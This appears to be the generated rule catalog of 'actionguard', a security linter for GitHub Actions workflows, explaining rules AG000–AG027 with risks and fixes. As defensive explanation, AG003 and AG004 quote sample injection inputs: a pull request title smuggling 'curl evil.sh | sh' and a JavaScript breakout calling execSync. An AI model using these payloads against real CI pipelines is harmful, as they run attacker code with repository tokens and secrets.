Rule catalog

Generated by actionguard rules --markdown. Inline suppression: # actionguard: ignore=AG003 on the offending line or the line above it.

Rule Name Severity Summary
AG000 invalid-yaml error File could not be parsed as a GitHub Actions document.
AG001 unpinned-action warning Action referenced by a version tag instead of a full commit SHA.
AG002 mutable-branch-ref error Action referenced by a branch or other moving ref.
AG003 script-injection error Attacker-controlled data interpolated directly into a run: script.
AG004 github-script-injection error Attacker-controlled data interpolated into an actions/github-script script.
AG005 indirect-injection error Attacker-controlled data reaches a script through env:, step outputs or job outputs.
AG006 pwn-request error Privileged trigger checks out and runs untrusted pull request code.
AG007 missing-permissions warning No permissions: block; the token gets the repository default scopes.
AG008 write-all-permissions error permissions: write-all grants every scope.
AG009 secret-in-script warning Secret expanded directly into a run: script.
AG010 secrets-inherit-third-party warning secrets: inherit passed to a reusable workflow outside trusted owners.
AG011 secret-exposure error Secret echoed to the log or the whole secrets context dumped.
AG012 self-hosted-on-pr error Self-hosted runner used by a workflow triggered from untrusted events.
AG013 curl-pipe-shell warning Remote script piped straight into a shell.
AG014 deprecated-command warning Deprecated or disabled workflow command in a script.
AG015 persisted-credentials warning actions/checkout leaves the token in .git/config in a job that pushes or uploads the workspace.
AG016 cache-poisoning warning Cache key derived from untrusted input, or cache shared with a privileged trigger.
AG017 unpinned-image warning Container image not pinned by digest.
AG018 missing-timeout note Job has no timeout-minutes.
AG019 deploy-without-concurrency warning Deploy or release workflow without a concurrency group.
AG020 matrix-injection error Attacker-controlled matrix value used in a script.
AG021 continue-on-error-security warning continue-on-error on a security check.
AG022 unsecure-commands error ACTIONS_ALLOW_UNSECURE_COMMANDS re-enables disabled workflow commands.
AG023 broad-workflow-permissions note Write scopes granted at workflow level.
AG024 artifact-poisoning warning Privileged workflow_run job downloads artifacts from the triggering run.
AG025 hardcoded-credential error Credential committed in the workflow file.
AG026 always-true-condition error if: mixes ${{ }} with other text, so it is always true.
AG027 invalid-expression error Expression does not parse or uses an unknown context or function.

AG000

invalid-yaml (error): File could not be parsed as a GitHub Actions document.

Why it matters. A file that does not parse is skipped by every other rule, so nothing in it is audited.

Fix. Fix the YAML syntax error reported.

AG001

unpinned-action (warning): Action referenced by a version tag instead of a full commit SHA.

Why it matters. Tags are mutable: whoever controls the action repository (or compromises it) can move v4 to malicious code and every workflow using it runs that code with your secrets, as in the tj-actions/changed-files compromise of March 2025. Only a 40-character commit SHA is immutable.

Fix. Run actionguard pin, which rewrites the reference to the commit SHA and keeps the tag as a trailing comment.

AG002

mutable-branch-ref (error): Action referenced by a branch or other moving ref.

Why it matters. Branch refs such as @main change on every push to the action repository, so the workflow executes code nobody reviewed. This is strictly worse than a tag because it changes without any release event.

Fix. Pin to a commit SHA (actionguard pin) or at least to a released version tag.

AG003

script-injection (error): Attacker-controlled data interpolated directly into a run: script.

Why it matters. ${{ }} is expanded by the runner before the shell sees the script. A pull request titled a"; curl evil.sh | sh; " turns echo "${{ github.event.pull_request.title }}" into arbitrary command execution with the job's token and secrets.

Fix. Pass the value through env: and reference it as "$VAR". actionguard fix does this automatically.

AG004

github-script-injection (error): Attacker-controlled data interpolated into an actions/github-script script.

Why it matters. The script input is JavaScript source assembled by template expansion. A title containing '); require('child_process').execSync('... breaks out of the string literal and runs code with the workflow token.

Fix. Read the value from process.env (set via env:) or from context.payload instead of interpolating it.

AG005

indirect-injection (error): Attacker-controlled data reaches a script through env:, step outputs or job outputs.

Why it matters. Moving a value into env: only protects you if the script treats it as data. Expanding ${{ env.X }} or ${{ steps.a.outputs.b }} in run: re-introduces the injection, and eval "$X" or bash -c "$X" executes the data as code. Outputs written by an earlier step carry the taint forward.

Fix. Reference the variable as "$X" in the shell instead of ${{ }}, never eval it, and sanitise values before writing them to $GITHUB_OUTPUT.

AG006

pwn-request (error): Privileged trigger checks out and runs untrusted pull request code.

Why it matters. pull_request_target and workflow_run run in the context of the base repository with write tokens and secrets. Checking out the PR head and then building or testing it lets the fork author run arbitrary code with those privileges (a 'pwn request').

Fix. Do not check out PR code in privileged workflows. Split into an unprivileged pull_request workflow that builds and uploads results, and a privileged workflow_run workflow that only consumes inert data.

AG007

missing-permissions (warning): No permissions: block; the token gets the repository default scopes.

Why it matters. Without an explicit block the GITHUB_TOKEN uses the repository or organisation default, which is often read/write on everything. Any compromised step then gets write access to code, packages and releases.

Fix. Add permissions: contents: read at the top level and grant extra scopes per job. actionguard fix inserts the minimal block.

AG008

write-all-permissions (error): permissions: write-all grants every scope.

Why it matters. write-all hands the token write access to contents, packages, actions, deployments, security events and more. A single injected step can then rewrite releases, push code or tamper with other workflows.

Fix. List only the scopes the job needs. actionguard fix replaces it with contents: read; add what the job needs on top.

AG009

secret-in-script (warning): Secret expanded directly into a run: script.

Why it matters. ${{ secrets.X }} is substituted into the script text, so the secret lands in the generated shell file and any quote or newline in it changes the script. Masking in logs is best-effort and breaks for derived values.

Fix. Bind the secret with env: and use "$X" in the script. actionguard fix rewrites simple cases.

AG010

secrets-inherit-third-party (warning): secrets: inherit passed to a reusable workflow outside trusted owners.

Why it matters. inherit forwards every secret available to the caller, not just the ones the callee needs. If the called workflow or its ref is compromised it can exfiltrate all of them.

Fix. Pass only the required secrets by name, or add the owner to allowed-owners in .actionguard.toml if you trust it.

AG011

secret-exposure (error): Secret echoed to the log or the whole secrets context dumped.

Why it matters. Printing a secret defeats log masking as soon as it is transformed (base64, split, URL-encoded), and toJSON(secrets) serialises every secret into one string that is trivially exfiltrated.

Fix. Never echo secrets and never serialise the secrets context. Use ::add-mask:: for derived values.

AG012

self-hosted-on-pr (error): Self-hosted runner used by a workflow triggered from untrusted events.

Why it matters. Self-hosted runners are persistent machines. In a public repository anyone can open a pull request, and the PR's workflow code then runs on your hardware, can persist malware, and reaches your internal network.

Fix. Use GitHub-hosted runners for PR-triggered workflows, or restrict to private repositories with approval required for outside collaborators.

AG013

curl-pipe-shell (warning): Remote script piped straight into a shell.

Why it matters. Executing whatever a URL returns means a hijacked domain, CDN or release asset runs with the job's privileges. There is no checksum and nothing to review, and a truncated download can run half a script.

Fix. Download to a file, verify a pinned checksum or signature, then execute it. Prefer a pinned action or a package manager.

AG014

deprecated-command (warning): Deprecated or disabled workflow command in a script.

Why it matters. set-env and add-path were disabled after CVE-2020-15228 showed that any log line from untrusted output could set environment variables such as LD_PRELOAD. set-output and save-state share the weakness and are being removed.

Fix. Use the environment files: echo "name=value" >> "$GITHUB_OUTPUT", $GITHUB_ENV, $GITHUB_PATH, $GITHUB_STATE.

AG015

persisted-credentials (warning): actions/checkout leaves the token in .git/config in a job that pushes or uploads the workspace.

Why it matters. By default checkout stores the GITHUB_TOKEN in the local git config. Every later step, including third-party actions and uploaded artifacts containing .git, can read it (the 'artipacked' leak).

Fix. Set persist-credentials: false, and for jobs that must push, say persist-credentials: true explicitly after reviewing which later steps run.

AG016

cache-poisoning (warning): Cache key derived from untrusted input, or cache shared with a privileged trigger.

Why it matters. Caches are shared across branches of a repository. If an attacker controls the key (a branch name, PR title) or writes the cache from a PR run, a later privileged run restores poisoned files and executes them.

Fix. Build cache keys from hashFiles(...) and runner OS only, and avoid caching in pull_request_target or workflow_run workflows.

AG017

unpinned-image (warning): Container image not pinned by digest.

Why it matters. Image tags are mutable and latest moves constantly. A compromised registry account can swap the image under a tag and your job runs it with its secrets.

Fix. Pin with image: name@sha256:<digest> and keep the tag in a comment.

AG018

missing-timeout (note): Job has no timeout-minutes.

Why it matters. The default timeout is six hours. A hung or hijacked job (for example one running a crypto miner) burns minutes and keeps its token alive for that whole time.

Fix. Set timeout-minutes on every job to a little above its normal duration.

AG019

deploy-without-concurrency (warning): Deploy or release workflow without a concurrency group.

Why it matters. Two overlapping deploys can interleave, leaving production on an older build, and a stale run can overwrite a newer release.

Fix. Add concurrency: { group: deploy-${{ github.ref }}, cancel-in-progress: false } at workflow or job level.

AG020

matrix-injection (error): Attacker-controlled matrix value used in a script.

Why it matters. A matrix built from inputs, event data or job outputs is expanded into ${{ matrix.x }} like any other expression, so the shell injection of AG003 applies to every matrix entry.

Fix. Validate matrix values against an allowlist, or pass matrix.x through env: and quote it.

AG021

continue-on-error-security (warning): continue-on-error on a security check.

Why it matters. A scanner that cannot fail the build is decoration: vulnerable dependencies or leaked secrets are found, logged and shipped anyway.

Fix. Remove continue-on-error, or surface the result another way (required status, SARIF upload with alerts).

AG022

unsecure-commands (error): ACTIONS_ALLOW_UNSECURE_COMMANDS re-enables disabled workflow commands.

Why it matters. It turns set-env and add-path back on, letting any process that prints to stdout, including untrusted build output, set LD_PRELOAD, PATH or NODE_OPTIONS for later steps.

Fix. Remove the variable and migrate to $GITHUB_ENV / $GITHUB_PATH.

AG023

broad-workflow-permissions (note): Write scopes granted at workflow level.

Why it matters. Workflow-level permissions apply to every job, including ones that only run tests. Least privilege means granting write scopes only to the job that needs them.

Fix. Keep the top-level block read-only and move write scopes into the specific job.

AG024

artifact-poisoning (warning): Privileged workflow_run job downloads artifacts from the triggering run.

Why it matters. The triggering run may be a fork PR, so its artifacts are attacker-controlled. Unpacking and using them in a privileged workflow (extracting over source files, reading a PR number from a file) enables code execution or spoofed data.

Fix. Treat artifact contents as untrusted input: verify and validate before use and never execute or source them.

AG025

hardcoded-credential (error): Credential committed in the workflow file.

Why it matters. Workflow files are readable by everyone with repository access and are copied into every fork. A token or password in them must be treated as leaked.

Fix. Store it in encrypted secrets and reference ${{ secrets.NAME }}; rotate the leaked value.

AG026

always-true-condition (error): if: mixes ${{ }} with other text, so it is always true.

Why it matters. When an if value is not exactly one expression, GitHub treats the whole string as a non-empty string, which is truthy. if: ${{ x }} == 'y' therefore always runs, silently disabling the guard.

Fix. Write the whole condition inside one expression: if: ${{ x == 'y' }}, or drop the ${{ }} entirely.

AG027

invalid-expression (error): Expression does not parse or uses an unknown context or function.

Why it matters. A syntax error fails the workflow at run time; an unknown context silently evaluates to an empty string, which can disable a security check (if: ${{ github.evnt.name == 'x' }}).

Fix. Fix the expression. Valid contexts: github, env, vars, job, jobs, steps, runner, secrets, strategy, matrix, needs, inputs.